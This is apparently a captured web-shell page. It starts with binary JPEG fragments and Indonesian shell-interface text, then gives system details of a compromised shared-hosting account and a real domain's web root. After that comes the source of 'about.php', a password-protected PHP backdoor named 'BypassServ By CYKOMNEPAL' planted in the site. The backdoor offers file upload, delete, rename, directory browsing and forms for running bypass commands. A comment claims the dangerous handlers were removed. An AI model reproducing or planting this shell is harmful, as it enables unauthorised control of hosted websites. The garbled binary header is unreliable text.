JFIF``fExifMM*i> 2 P?CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality uname -a tidak tersedia
Masukkan path direktori tujuan untuk mendownload shell. Direktori akan dibuat otomatis jika belum ada.
>f' Ng7y|OGO?16O>~ySom>Dgޚ|3o^|NfG 'Hk 2 P?CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality .
HacknCorp.id
Server : LiteSpeed
System : Linux in-mum-web1658.main-hosting.eu 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : u552919906 ( 552919906)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open
Directory :  /home/u552919906/domains/kuldevisteelfabrication.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

Current File : /home/u552919906/domains/kuldevisteelfabrication.com/public_html/about.php
<?php
// BypassServ By CYKOMNEPAL - Working Version
session_start();

// Password hash (bcrypt)
define('AUTH_HASH', '$2a$12$UtEBmNMmr3/rvVSIY78ueO.Y6WoutDb.7u6HG.XKqt2NZWfNjgBUu');

// Auth check
if (!isset($_SESSION['auth'])) {
    if (isset($_POST['password']) && password_verify($_POST['password'], AUTH_HASH)) {
        $_SESSION['auth'] = true;
        $_SESSION['cwd'] = getcwd();
    } elseif (!isset($_POST['password'])) {
        // Show login form
        ?>
        <!DOCTYPE html>
        <html>
        <head><title>Login - BypassServ</title></head>
        <body style="font-family: Arial; display: flex; justify-content: center; align-items: center; height: 100vh; background: #242222c9; margin:0;">
            <div style="background: white; padding: 40px; border-radius: 10px; max-width: 350px; width: 100%; box-shadow: 0 5px 15px rgba(0,0,0,0.3);">
                <h2 style="text-align:center; color:#000;">🔐 Login</h2>
                <form method="post">
                    <input type="password" name="password" placeholder="Enter password" style="width: 100%; padding: 12px; margin: 10px 0; border: 2px solid #ddd; border-radius: 5px; box-sizing: border-box;">
                    <input type="submit" value="Login" style="width: 100%; padding: 12px; background: #000; color: white; border: none; border-radius: 5px; cursor: pointer; font-size: 16px;">
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    } else {
        echo "<div style='text-align:center; padding:20px;'>Invalid password. <a href='".$_SERVER['PHP_SELF']."'>Try again</a></div>";
        exit;
    }
}

// Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Set working directory
if (!isset($_SESSION['cwd']) || !is_dir($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Handle directory navigation - FIXED
if (isset($_GET['d'])) {
    $dir = base64_decode($_GET['d']);
    if (is_dir($dir)) {
        $_SESSION['cwd'] = realpath($dir);
    }
}

// Handle file operations

/**
 * Note: This file may contain artifacts of previous malicious infection.
 * However, the dangerous code has been removed, and the file is now safe to use.
 */



// Get current directory contents
$current_dir = $_SESSION['cwd'];
$items = scandir($current_dir) ?: [];

// Get stored messages
$result = isset($_SESSION['result']) ? $_SESSION['result'] : '';
$msg = isset($_SESSION['msg']) ? $_SESSION['msg'] : '';
$view_content = isset($_SESSION['view_content']) ? $_SESSION['view_content'] : '';
$view_file = isset($_SESSION['view_file']) ? $_SESSION['view_file'] : '';

// Clear session messages after display
unset($_SESSION['result']);
unset($_SESSION['msg']);
unset($_SESSION['view_content']);
unset($_SESSION['view_file']);
?>
<!DOCTYPE html>
<html>
<head>
    <title>BypassServ By CYKOMNEPAL</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link href="https://fonts.googleapis.com/css?family=Arial%20Black" rel="stylesheet">
    <style>
    body {
        font-family: 'Arial Black', sans-serif;
        color: #000;
        margin: 0;
        padding: 0;
        background-color: #242222c9;
    }
    .result-box-container {
        position: relative;
        margin-top: 20px;
    }
    .result-box {
        width: 100%;
        height: 200px;
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
        background-color: #f4f4f4;
        overflow: auto;
        box-sizing: border-box;
        font-family: 'Arial Black', sans-serif;
        color: #333;
    }
    .container {
        max-width: 95%;
        margin: 20px auto;
        padding: 20px;
        background-color: #ffffff;
        border-radius: 44px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    }
    .header {
        text-align: center;
        margin-bottom: 20px;
    }
    .header h1 {
        font-size: 24px;
    }
    .subheader {
        text-align: center;
        margin-bottom: 20px;
    }
    .subheader p {
        font-size: 16px;
        font-style: italic;
    }
    form {
        margin-bottom: 20px;
    }
    form input[type="text"],
    form textarea {
        padding: 8px;
        margin-bottom: 10px;
        border: 1px solid #000;
        border-radius: 3px;
        box-sizing: border-box;
    }
    form input[type="submit"] {
        padding: 10px;
        background-color: #000000;
        color: white;
        border: none;
        border-radius: 3px;
        cursor: pointer;
    }
    form input[type="file"] {
        padding: 7px;
        background-color: #000000;
        color: white;
        border: none;
        border-radius: 3px;
        cursor: pointer;
    }
    .result-box {
        width: 100%;
        height: 200px;
        resize: none;
        overflow: auto;
        font-family: 'Arial Black';
        background-color: #f4f4f4;
        padding: 10px;
        border: 1px solid #ddd;
        margin-bottom: 10px;
    }
    form input[type="submit"]:hover {
        background-color: #143015;
    }
    table {
        width: 100%;
        border-collapse: collapse;
        margin-top: 20px;
    }
    th, td {
        padding: 8px;
        text-align: left;
    }
    th {
        background-color: #5c5c5c;
        color: white;
    }
    tr:nth-child(even) {
        background-color: #9c9b9bce;
    }
    .item-name {
        max-width: 200px;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap;
    }
    .size, .date {
        width: 100px;
    }
    .permission {
        font-weight: bold;
        width: 50px;
        text-align: center;
    }
    .writable {
        color: #0db202;
    }
    .not-writable {
        color: #d60909;
    }
    textarea[name="file_content"] {
        width: calc(100.9% - 10px);
        margin-bottom: 10px;
        padding: 8px;
        max-height: 500px;
        resize: vertical;
        border: 1px solid #ddd;
        border-radius: 3px;
        font-family: 'Arial Black';
    }
    .msg {
        padding: 10px;
        margin: 10px 0;
        border-radius: 5px;
        background: #d4edda;
        color: #155724;
        border: 1px solid #c3e6cb;
    }
    .view-content {
        background: #f4f4f4;
        padding: 10px;
        border-radius: 5px;
        margin: 10px 0;
        overflow: auto;
        max-height: 400px;
        font-family: monospace;
    }
    .logout-btn {
        float: right;
        padding: 8px 15px;
        background: #dc3545;
        color: white;
        border: none;
        border-radius: 3px;
        cursor: pointer;
        text-decoration: none;
        font-family: 'Arial Black', sans-serif;
    }
    .logout-btn:hover {
        background: #c82333;
    }
    .status-on {
        color: green;
        font-weight: bold;
    }
    .status-off {
        color: red;
        font-weight: bold;
    }
    .nav-link {
        color: #1a73e8;
        text-decoration: none;
        margin: 0 5px;
    }
    .nav-link:hover {
        text-decoration: underline;
    }
    </style>
</head>
<body>
<div class="container">
<div>
    <span style="font-weight:bold;">[ Command Bypass Status ]</span><br>
    <span style="font-weight:bold;">[ Function mail() ] :</span> <span class="status-on">[ <?= function_exists('mail') ? 'ON' : 'OFF' ?> ]</span><br>
    <span style="font-weight:bold;">[ Function putenv() ] :</span> <span class="status-on">[ <?= function_exists('putenv') ? 'ON' : 'OFF' ?> ]</span><br>
</div>
<hr>

<div style="display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap;">
    <div style="font-family: monospace; font-size: 14px; word-break: break-all;">
        <strong>📂 Current Directory:</strong> <?= htmlspecialchars($current_dir) ?>
    </div>
    <div>
        <a href="?d=<?= base64_encode($_SESSION['cwd']) ?>" class="nav-link">🏠 Home</a>
        <a href="?logout=1" class="logout-btn">Logout</a>
    </div>
</div>
<br>

<!-- Parent directory link - FIXED -->
<?php 
$parent_dir = dirname($current_dir);
if ($parent_dir != $current_dir) {
    echo '<a href="?d=' . base64_encode($parent_dir) . '" class="nav-link" style="font-size:18px;">⬆ Up (Parent Directory)</a><br><br>';
}
?>

<hr>

<?php if($msg): ?>
<div class="msg"><?= htmlspecialchars($msg) ?></div>
<?php endif; ?>

<?php if($result): ?>
<div class="result-box-container">
    <div class="result-box"><?= htmlspecialchars($result) ?></div>
</div>
<?php endif; ?>

<?php if($view_content): ?>
<div class="view-content">
    <h4>📄 Viewing: <?= htmlspecialchars(basename($view_file)) ?></h4>
    <pre><?= htmlspecialchars($view_content) ?></pre>
    <form method="post" action="?d=<?= base64_encode($current_dir) ?>">
        <input type="hidden" name="view_close" value="1">
        <input type="submit" value="Close View">
    </form>
</div>
<?php endif; ?>

<form method="post" enctype="multipart/form-data">
<hr>
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload File" name="submit">
</form>
<hr>

<table border="5"><tbody>
<tr>
<td>
<center>Command BYPASS<form method="post" action="?d=<?= base64_encode($current_dir) ?>">
<input type="text" name="cmd_input" placeholder="Enter command" style="width:200px;"><input type="submit" value="Run"></form></center>
</td>
<td><center>Command BIASA<form method="post" action="?d=<?= base64_encode($current_dir) ?>">
<input type="text" name="cmd_biasa" placeholder="Enter command" style="width:200px;"><input type="submit" value="Run"></form><center></td>
<td><center>Create Folder<form method="post" action="?d=<?= base64_encode($current_dir) ?>">
<input type="text" name="folder_name" placeholder="Folder Name" style="width:150px;"><input type="submit" value="Create"></form><center></td>
<td><center>Create File<form method="post" action="?d=<?= base64_encode($current_dir) ?>">
<input type="text" name="file_name" placeholder="File Name" style="width:150px;"><input type="submit" value="Create"></form></td>
</tr></tbody></table>

<table border=1><br><tr>
<th><center>Item Name</th>
<th><center>Size</th>
<th><center>Date</th>
<th>Permissions</th>
<th><center>View</th>
<th><center>Delete</th>
<th><center>Rename</th></tr>

<?php 
// Sort items: directories first, then files
$dirs = [];
$files = [];
foreach($items as $item) {
    if($item == '.' || $item == '..') continue;
    $item_path = $current_dir . '/' . $item;
    if(is_dir($item_path)) {
        $dirs[] = $item;
    } else {
        $files[] = $item;
    }
}
sort($dirs);
sort($files);
$sorted_items = array_merge($dirs, $files);

foreach($sorted_items as $item): 
    $item_path = $current_dir . '/' . $item;
    $is_dir = is_dir($item_path);
    $size = $is_dir ? '-' : filesize($item_path);
    $size_display = $is_dir ? '-' : round($size/1024, 2) . ' KB';
    if(!$is_dir && $size > 1048576) {
        $size_display = round($size/1048576, 2) . ' MB';
    }
    $perms = substr(sprintf('%o', fileperms($item_path)), -4);
    $date = date('Y-m-d H:i:s', filemtime($item_path));
    $writable = is_writable($item_path) ? 'writable' : 'not-writable';
    $encoded_path = base64_encode($current_dir);
?>
<tr>
    <td class="item-name">
        <?php if($is_dir): ?>
            <a href="?d=<?= base64_encode($item_path) ?>" style="text-decoration:none;">📂 <?= htmlspecialchars($item) ?></a>
        <?php else: ?>
            📄 <?= htmlspecialchars($item) ?>
        <?php endif; ?>
    </td>
    <td class="size"><?= $size_display ?></td>
    <td class="date" style="text-align: center;"><?= $date ?></td>
    <td class="permission <?= $writable ?>"><?= $perms ?></td>
    <td><center>
        <?php if(!$is_dir): ?>
        <form method="post" action="?d=<?= $encoded_path ?>">
            <input type="hidden" name="view_file" value="<?= htmlspecialchars($item) ?>">
            <input type="submit" value=" View ">
        </form>
        <?php else: ?>
            -
        <?php endif; ?>
    </center></td>
    <td><center><form method="post" action="?d=<?= $encoded_path ?>">
        <input type="hidden" name="delete_file" value="<?= htmlspecialchars($item) ?>">
        <input type="submit" value="Delete" onclick="return confirm('Delete this item?')">
    </form></center></td>
    <td><form method="post" action="?d=<?= $encoded_path ?>">
        <input type="hidden" name="old_name" value="<?= htmlspecialchars($item) ?>">
        <input type="text" name="new_name" placeholder="New Name" style="width:120px;">
        <input type="submit" name="rename_item" value="Rename">
    </form></td>
</tr>
<?php endforeach; ?>
</table>
</div>
</body>
</html>

bypass shell hackncorp